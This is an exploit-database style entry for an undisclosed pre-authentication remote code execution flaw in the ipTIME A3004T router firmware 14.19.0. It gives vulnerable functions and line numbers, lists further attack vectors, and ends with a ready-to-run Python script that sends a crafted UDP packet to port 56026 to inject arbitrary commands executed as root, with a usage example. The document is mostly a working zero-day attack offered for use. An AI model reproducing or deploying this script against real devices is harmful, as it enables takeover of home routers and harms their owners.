# Exploit Title: ipTIME A3004T - Remote Code Execution # Date: 2026-06-29 # Exploit Author: Paccaron # Vendor Homepage: https://www.iptime.com # Software Link: https://www.iptime.com/iptime/?page_id=147&pid=34 # Version: 14.19.0 # Tested on: ipTIME A3004T (Physical Device, OpenWRT based, MediaTek MT7621) # CVE: N/A (Zero-Day) Description: The EAD Service in ipTIME A3004T firmware 14.19.0 binds to UDP port 56026 and does not filter source IP addresses. A remote attacker can send a crafted EAD_TYPE_SEND_CMD packet to execute arbitrary commands on the device with root privileges. The vulnerability exists in the handle_send_cmd() function where user-controlled data is passed directly to system() without any input sanitization. Vulnerable File: /package/network/services/ead/src/ead.c Vulnerable Functions: handle_send_cmd() (lines 473-580) Vulnerable Lines: 512, 533 Attack Vectors: 1. Pre-auth RCE (Command Injection) - Lines 512, 533 2. Buffer Overflow - ead-client.c:245 (strcpy) 3. Format String - ead.c:952 4. Path Traversal - tinysrp/t_misc.c:143 5. Denial of Service - ead.c:716 (while loop) import socket import sys def exploit(target_ip, command): """ ipTIME A3004T EAD Service Pre-auth RCE Exploit by Paccaron Tested on firmware 14.19.0 """ port = 56026 # EAD_TYPE_SEND_CMD = 0x0a (10) # Minimal packet structure payload = b"\x00\x00\x00\x0a" # EAD_TYPE_SEND_CMD payload += b"\x00" * 60 # Padding payload += b";" + command.encode() + b"\x00" # Command injection sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: sock.sendto(payload, (target_ip, port)) print(f"[+] Command sent to {target_ip}:{port}") print(f"[+] Command: {command}") sock.close() return True except Exception as e: print(f"[-] Failed: {e}") return False if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python exploit.py ") print("Example: python exploit.py 192.168.1.1 id") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd)